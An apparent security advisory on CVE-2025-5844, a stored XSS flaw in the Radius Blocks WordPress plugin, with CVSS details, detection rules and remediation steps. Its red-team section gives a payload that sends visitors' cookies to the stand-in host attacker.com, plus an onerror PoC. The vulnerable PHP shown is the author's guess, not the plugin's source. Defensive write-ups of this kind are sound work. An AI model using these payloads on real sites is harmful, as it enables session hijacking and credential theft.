CVE-2025-5844

Executive Summary

CVE-2025-5844 is a Stored Cross-Site Scripting (XSS) vulnerability in the Radius Blocks WordPress plugin, affecting all versions up to and including 2.2.1. The flaw resides in the subHeadingTagName parameter, which is insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into pages. When any user (including administrators) visits the compromised page, the injected script executes, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Radius Blocks plugin is distributed via the official WordPress Plugin Directory. Users should verify they are not running version 2.2.1 or earlier. No patch has been released by the vendor. As a supply chain risk, any site using this plugin is exposed until a fix is applied.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is 6.4, the requirement for authenticated access reduces the immediate threat surface. However, once exploited, the XSS can affect all users, including administrators, making it a significant vector for privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress plugin. The subHeadingTagName parameter is used to define the HTML tag for subheadings (e.g., <h2>, <h3>). The plugin fails to properly sanitize this input and does not escape it on output. An attacker with Contributor-level access can craft a payload like:

<script>alert('XSS')</script>

When the block is rendered on a page, the script executes in the context of the visitor's browser. Because the input is stored in the database, the attack persists until the content is removed or patched.

Root Cause: Insufficient input validation and lack of output escaping in the render function of the Radius Blocks plugin.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like:

// Vulnerable code (radius-blocks/includes/class-block.php)
$subheading_tag = $attributes['subHeadingTagName'];
echo '<' . $subheading_tag . ' class="subheading">' . $content . '</' . $subheading_tag . '>';

A patched version would sanitize the tag name against a whitelist of allowed HTML tags and escape the output:

// Patched code
$allowed_tags = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'div', 'span');
$subheading_tag = in_array($attributes['subHeadingTagName'], $allowed_tags) ? $attributes['subHeadingTagName'] : 'h2';
echo '<' . esc_attr($subheading_tag) . ' class="subheading">' . esc_html($content) . '</' . esc_attr($subheading_tag) . '>';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Radius Blocks plugin <= 2.2.1
• Authenticated user with Contributor role or higher

Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Add a Radius Blocks block (e.g., a heading block).
4. In the block settings, set the subHeadingTagName parameter to a malicious payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><"
   

5. Publish the post.
6. When an administrator or any user views the post, the script executes, exfiltrating cookies.

Proof-of-Concept (PoC) Code:

<!-- Inject this as subHeadingTagName value -->
"><img src=x onerror=alert(1)>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual subHeadingTagName values in WordPress database (wp_postmeta table).
• Look for posts created by Contributor-level users containing script tags in meta fields.

Hardening:

• Disable the Radius Blocks plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in subHeadingTagName.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/radius-blocks/radius-blocks.php (version <= 2.2.1)
• Database Entry: wp_postmeta rows with meta_key containing subHeadingTagName and meta_value containing <script> or onerror attributes.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing unexpected HTML tags in block attributes.

Detection Engineering

YARA Rule

rule CVE_2025_5844_Radius_Blocks_XSS {
    meta:
        description = "Detects Radius Blocks plugin files with vulnerable subHeadingTagName handling"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5844"
    strings:
        $vuln_func = "subHeadingTagName" nocase
        $unsafe_echo = "echo '<'" nocase
    condition:
        $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2025-5844 - Stored XSS via Radius Blocks subHeadingTagName
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post meta for Radius Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: "subHeadingTagName"
        meta_value|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5844 - Stored XSS in Radius Blocks subHeadingTagName"; flow:to_server,established; content:"subHeadingTagName"; http_client_body; pcre:"/<script|onerror|onload/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit all posts created by Contributor-level users for malicious content.
3. Change all user passwords if compromise is suspected.

Long-term Fix:

• The vendor must release a patched version that sanitizes and escapes the subHeadingTagName parameter.
• Implement a whitelist of allowed HTML tags (e.g., h1-h6, p, div, span).

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS payloads.
• Restrict Contributor role capabilities via a plugin like User Role Editor.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst